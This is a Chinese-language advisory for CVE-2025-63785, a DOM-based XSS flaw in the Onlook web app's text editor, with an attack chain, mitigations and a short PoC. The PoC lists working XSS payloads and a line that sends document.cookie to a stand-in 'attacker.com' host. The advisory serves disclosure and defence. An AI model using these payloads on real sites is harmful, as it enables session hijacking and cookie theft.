IPBUF安全漏洞报告
English
CVE-2025-63785 CVSS 6.1 中危

CVE-2025-63785 Onlook文本编辑器DOM型XSS漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63785
漏洞类型
DOM型跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Onlook web application

相关标签

DOM-XSS跨站脚本攻击Onlook文本编辑器innerHTML注入客户端漏洞CVE-2025-63785前端安全Web应用安全

漏洞概述

CVE-2025-63785是Onlook web application 0.2.32版本中发现的DOM型跨站脚本攻击漏洞。该漏洞存在于文本编辑器功能模块中,攻击者可以利用此漏洞在用户浏览器中执行任意JavaScript代码,从而窃取用户会话信息、劫持用户账户或进行其他恶意操作。漏洞的根本原因在于应用程序在处理用户输入时未进行充分的输入验证和输出编码,直接将用户提供的文本内容通过innerHTML方法插入到文档对象模型中。这种不安全的实现方式允许攻击者注入恶意的HTML标签和JavaScript脚本代码。当其他用户浏览或预览包含恶意代码的内容时,这些脚本将在受害者用户的浏览器上下文中执行,可能导致敏感数据泄露、会话劫持或其他安全威胁。由于该漏洞无需认证即可利用,且攻击复杂度较低,因此具有较高的实际威胁性。建议受影响的用户尽快升级到最新版本或应用官方提供的安全补丁。

技术细节

该DOM型XSS漏洞发生在Onlook应用程序的文本编辑器组件中。具体来说,当用户在文本编辑器中输入或编辑文本内容时,应用程序直接使用innerHTML方法将用户输入的内容插入到DOM中,而没有对特殊字符进行转义或过滤处理。innerHTML属性在设置HTML内容时会直接解析和渲染HTML标记,这意味着攻击者可以构造包含<script>标签、事件处理器(如onerror、onload等)或JavaScript伪协议(如javascript:)的恶意输入。例如,攻击者可以在文本编辑器中输入类似<img src=x onerror=alert(document.cookie)>的payload,当该内容被渲染时,恶意脚本就会执行。由于漏洞发生在客户端的DOM处理阶段,传统的服务端Web应用防火墙(WAF)可能无法有效检测和阻止此类攻击。攻击者通常需要诱导受害者打开包含恶意内容的页面或预览,这使得漏洞的利用需要一定的用户交互。漏洞影响Onlook 0.2.32及可能的其他相关版本。

攻击链分析

STEP 1
步骤1
攻击者访问Onlook web application并登录或以访客身份使用文本编辑器功能
STEP 2
步骤2
攻击者在文本编辑器中创建或编辑文本元素,注入包含恶意JavaScript代码的payload
STEP 3
步骤3
应用程序未对用户输入进行安全过滤,直接通过innerHTML将恶意内容插入DOM
STEP 4
步骤4
受害者访问或预览包含恶意代码的页面时,浏览器解析并执行注入的脚本
STEP 5
步骤5
恶意脚本在受害者浏览器上下文中执行,可能窃取Cookie、会话令牌或其他敏感信息
STEP 6
步骤6
攻击者利用窃取的凭证进行进一步攻击,如账户劫持、数据窃取或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-63785 PoC - DOM XSS in Onlook Text Editor // This PoC demonstrates the DOM-based XSS vulnerability in Onlook 0.2.32 // Malicious payload to be entered in the text editor const maliciousPayload = `<img src=x onerror="alert(document.cookie)">`; // Alternative payloads that could be used: // 1. <script>alert(document.domain)</script> // 2. <svg onload=alert('XSS')> // 3. <iframe src="javascript:alert(document.cookie)"> // 4. <body onload=alert(document.cookie)> // Attack scenario: // 1. Attacker creates or edits a text element in Onlook // 2. Attacker injects the malicious payload into the text content // 3. When victim previews or views the content, the script executes // Example of exploitation via text editor: function exploitOnlookDOMXSS() { // Simulating text editor input injection const userInput = '<img src=x onerror="fetch(\"https://attacker.com/steal?c=\"+document.cookie)\"> '; // Vulnerable code pattern (what Onlook might be doing internally) // element.innerHTML = userInput; // No sanitization! console.log('Malicious payload injected:', userInput); return 'XSS payload ready for injection'; } exploitOnlookDOMXSS();

影响范围

Onlook web application 0.2.32
可能影响更低版本

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制文本编辑器功能的使用权限,仅允许受信任的用户使用;2)实施严格的输入验证规则,过滤或转义特殊HTML字符;3)启用Content-Security-Policy响应头限制脚本执行;4)对关键操作实施额外的认证验证;5)监控应用程序日志以检测可能的攻击行为;6)考虑使用WAF规则检测常见的XSS payload模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表